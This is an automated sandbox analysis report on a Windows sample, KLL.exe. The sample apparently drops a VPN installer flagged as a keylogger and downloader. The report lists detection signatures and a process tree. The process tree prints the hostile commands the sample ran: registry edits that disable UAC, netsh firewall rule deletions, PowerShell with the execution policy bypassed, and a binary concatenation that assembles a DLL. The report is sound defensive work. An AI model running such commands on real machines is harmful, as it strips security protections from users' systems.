Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
KLL.exe

Overview

General Information

Sample name:KLL.exe
Analysis ID:1477193
MD5:ff9006e15bbe8f6c9a4ac2ddb14ac37e
SHA1:c9b380c608b6e8f9ce45c13a72ed15c21043661a
SHA256:2daa8d76a918b1d3d30b25130a741a4612f5ac5c2dba186225992e7783ea0458
Tags:exe
Infos:

Detection

Score:60
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Bypasses PowerShell execution policy
Connects to many ports of the same IP (likely port scanning)
Disable UAC(promptonsecuredesktop)
Disables UAC (registry)
Found evasive API chain (may stop execution after checking mutex)
Loading BitLocker PowerShell Module
Modifies the DNS server
Modifies the windows firewall
Performs a network lookup / discovery via ARP
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Sample is not signed and drops a device driver
Uses cmd line tools excessively to alter registry or file data
Uses ipconfig to lookup or modify the Windows network settings
Uses known network protocols on non-standard ports
Uses netsh to modify the Windows network and firewall settings
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for available system drives (often done to infect USB drives)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates driver files
Creates files inside the driver directory
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Enables driver privileges
Enables security privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Tap Installer Execution
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara detected Keylogger Generic

Classification

Process Tree

  • System is w10x64
  • KLL.exe (PID: 6784 cmdline: "C:\Users\user\Desktop\KLL.exe" MD5: FF9006E15BBE8F6C9A4AC2DDB14AC37E)
    • cmd.exe (PID: 3608 cmdline: C:\Windows\system32\cmd.exe /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • ipconfig.exe (PID: 6928 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)
    • netsh.exe (PID: 6928 cmdline: "C:\Windows\System32\netsh.exe" -f C:\ProgramData\eiM61.xml MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)
      • conhost.exe (PID: 4940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7184 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\J95KX.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • reg.exe (PID: 7236 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • reg.exe (PID: 7252 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)
      • reg.exe (PID: 7276 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)
    • cmd.exe (PID: 7640 cmdline: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 7404 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • mmc.exe (PID: 7696 cmdline: C:\Windows\system32\mmc.exe -Embedding MD5: 58C9E5172C3708A6971CA0CBC80FE8B8)
    • uc_ctrl.exe (PID: 7744 cmdline: "C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe" MD5: 8AA07B7C6C632F4EDF07A0E2B91F8566)
      • cmd.exe (PID: 7864 cmdline: C:\Windows\system32\cmd.exe /c ipconfig /all MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • ipconfig.exe (PID: 7960 cmdline: ipconfig /all MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
  • mmc.exe (PID: 7816 cmdline: C:\Windows\system32\mmc.exe -Embedding MD5: 58C9E5172C3708A6971CA0CBC80FE8B8)
    • letsvpn-latest.exe (PID: 7892 cmdline: "C:\ProgramData\letsvpn-latest.exe" MD5: 7CE62DC191CEE9DD1488C9D0A25FEDA4)
      • powershell.exe (PID: 7968 cmdline: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7220 cmdline: powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 7376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • tapinstall.exe (PID: 6808 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)
        • conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • tapinstall.exe (PID: 8044 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)
        • conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7444 cmdline: cmd /c netsh advfirewall firewall Delete rule name=lets MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 7232 cmdline: netsh advfirewall firewall Delete rule name=lets MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
      • cmd.exe (PID: 1272 cmdline: cmd /c netsh advfirewall firewall Delete rule name=lets.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 1020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 5064 cmdline: netsh advfirewall firewall Delete rule name=lets.exe MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
      • cmd.exe (PID: 7860 cmdline: cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 7216 cmdline: netsh advfirewall firewall Delete rule name=LetsPRO.exe MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
      • cmd.exe (PID: 6388 cmdline: cmd /c netsh advfirewall firewall Delete rule name=LetsPRO MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 6780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 3808 cmdline: netsh advfirewall firewall Delete rule name=LetsPRO MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
      • tapinstall.exe (PID: 6832 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)
        • conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • LetsPRO.exe (PID: 8080 cmdline: "C:\Program Files (x86)\letsvpn\LetsPRO.exe" MD5: 8FC872149F0B8D2FB3D75C4076C0A8CA)
        • LetsPRO.exe (PID: 7096 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" MD5: D664FB656FC05BE54EA49950688BE980)
          • cmd.exe (PID: 7196 cmdline: "cmd.exe" /C ipconfig /all MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • ipconfig.exe (PID: 2536 cmdline: ipconfig /all MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
          • cmd.exe (PID: 2872 cmdline: "cmd.exe" /C route print MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 5304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • ROUTE.EXE (PID: 7812 cmdline: route print MD5: C563191ED28A926BCFDB1071374575F1)
          • cmd.exe (PID: 1228 cmdline: "cmd.exe" /C arp -a MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • ARP.EXE (PID: 7736 cmdline: arp -a MD5: 4D3943EDBC9C7E18DC3469A21B30B3CE)
  • svchost.exe (PID: 7972 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • drvinst.exe (PID: 2844 cmdline: DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\letsvpn\driver" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)
    • drvinst.exe (PID: 2912 cmdline: DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000118" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)
  • svchost.exe (PID: 2836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 2720 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 8036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • WmiApSrv.exe (PID: 7260 cmdline: C:\Windows\system32\wbem\WmiApSrv.exe MD5: 9A48D32D7DBA794A40BF030DA500603B)
  • LetsPRO.exe (PID: 6128 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent MD5: D664FB656FC05BE54EA49950688BE980)
    • LetsPRO.exe (PID: 1448 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent" MD5: D664FB656FC05BE54EA49950688BE980)
  • LetsPRO.exe (PID: 5592 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent MD5: D664FB656FC05BE54EA49950688BE980)
    • LetsPRO.exe (PID: 2252 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent" MD5: D664FB656FC05BE54EA49950688BE980)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Program Files (x86)\letsvpn\Update.exeJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
    C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dllJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
      C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dllJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security

        Memory Dumps

        SourceRuleDescriptionAuthorStrings
        Process Memory Space: LetsPRO.exe PID: 7096JoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          55.2.LetsPRO.exe.67c80000.20.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security

            Sigma Signatures

            Sigma detected: Change PowerShell Policies to an Insecure Level
            Source: Process startedAuthor: frack113: Data: Command: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine|base64offset|contains: )f, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 7892, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", ProcessId: 7968, ProcessName: powershell.exe
            Sigma detected: CurrentVersion Autorun Keys Modification
            Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe, ProcessId: 7096, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LetsPRO
            Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
            Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe, ProcessId: 7096, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aiilqe2n.4jh.ps1
            Sigma detected: Suspicious Copy From or To System Directory
            Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KLL.exe", ParentImage: C:\Users\user\Desktop\KLL.exe, ParentProcessId: 6784, ParentProcessName: KLL.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll, ProcessId: 7640, ProcessName: cmd.exe
            Sigma detected: Tap Installer Execution
            Source: Process startedAuthor: Daniil Yugoslavskiy, Ian Davis, oscd.community: Data: Command: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, CommandLine: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, NewProcessName: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, OriginalFileName: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 7892, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, ProcessId: 6808, ProcessName: tapinstall.exe
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine|base64offset|contains: )f, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 7892, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", ProcessId: 7968, ProcessName: powershell.exe
            Sigma detected: Suspicious Network Command
            Source: Process startedAuthor: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c ipconfig /all, CommandLine: C:\Windows\system32\cmd.exe /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KLL.exe", ParentImage: C:\Users\user\Desktop\KLL.exe, ParentProcessId: 6784, ParentProcessName: KLL.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ipconfig /all, ProcessId: 3608, ProcessName: cmd.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7404, ProcessName: svchost.exe

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for submitted file
            Source: KLL.exeVirustotal: Detection: 13%Perma Link
            Source: KLL.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
            Source: Binary string: D:\a\1\s\Utils\obj\Release\Utils.pdb source: LetsPRO.exe, 00000045.00000002.2237527968.0000000003152000.00000002.00000001.01000000.0000001A.sdmp
            Source: Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdb source: LetsPRO.exe, 00000037.00000002.4179262566.0000000006532000.00000002.00000001.01000000.00000020.sdmp
            Source: Binary string: D:\a\1\s\LetsVPN\obj\Release\LetsPRO.pdb source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp
            Source: Binary string: NetSetupEngine.pdb source: service.0.etl.39.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NetworkInformation\4.1.2.0\System.Net.NetworkInformation.pdb source: System.Net.NetworkInformation.dll.20.dr
            Source: Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb22 source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000011.00000000.1749194450.000000000010A000.00000002.00000001.01000000.00000009.sdmp
            Source: Binary string: c:\git\OSS\notifyicon-wpf\Hardcodet.NotifyIcon.Wpf\Source\NotifyIconWpf\obj\Release\Hardcodet.Wpf.TaskbarNotification.pdb source: LetsPRO.exe, 00000037.00000002.4217491237.0000000037D82000.00000002.00000001.01000000.00000032.sdmp
            Source: Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x86\e_sqlite3.pdb source: LetsPRO.exe, 00000037.00000002.4274703898.0000000067C57000.00000002.00000001.01000000.0000002D.sdmp
            Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: tapinstall.exe, 00000020.00000002.1948103000.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000020.00000000.1945906128.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000002.1991317250.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000000.1948511998.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2007248558.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2008797085.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4189719287.000000002FF02000.00000002.00000001.01000000.00000026.sdmp
            Source: Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x64\e_sqlite3.pdb source: e_sqlite3.dll0.20.dr
            Source: Binary string: D:\dd\NetFXDev1\binaries\x86ret\bin\i386\VSSetup\Utils\boxstub.pdb source: ndp462-web.exe.20.dr
            Source: Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb source: LetsPRO.exe, 00000037.00000002.4241106616.0000000039962000.00000002.00000001.01000000.0000003A.sdmp
            Source: Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: LetsPRO.exe, 00000037.00000002.4197543780.0000000030A42000.00000002.00000001.01000000.00000029.sdmp
            Source: Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: LetsPRO.exe, 00000037.00000002.4239209103.0000000039372000.00000002.00000001.01000000.00000036.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdb source: LetsPRO.exe, 00000037.00000002.4175686898.0000000005E4A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmp
            Source: Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdb source: LetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmp
            Source: Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Xml.XPath.XDocument/netfx\System.Xml.XPath.XDocument.pdb source: System.Xml.XPath.XDocument.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4197543780.0000000030A42000.00000002.00000001.01000000.00000029.sdmp
            Source: Binary string: vcruntime140.i386.pdbGCTL source: uc_ctrl.exe, 00000011.00000002.4149827910.000000006CF41000.00000020.00000001.01000000.0000000A.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdb source: LetsPRO.exe, 00000037.00000002.4189844326.000000002FF12000.00000002.00000001.01000000.00000028.sdmp, Microsoft.AppCenter.Crashes.dll.20.dr
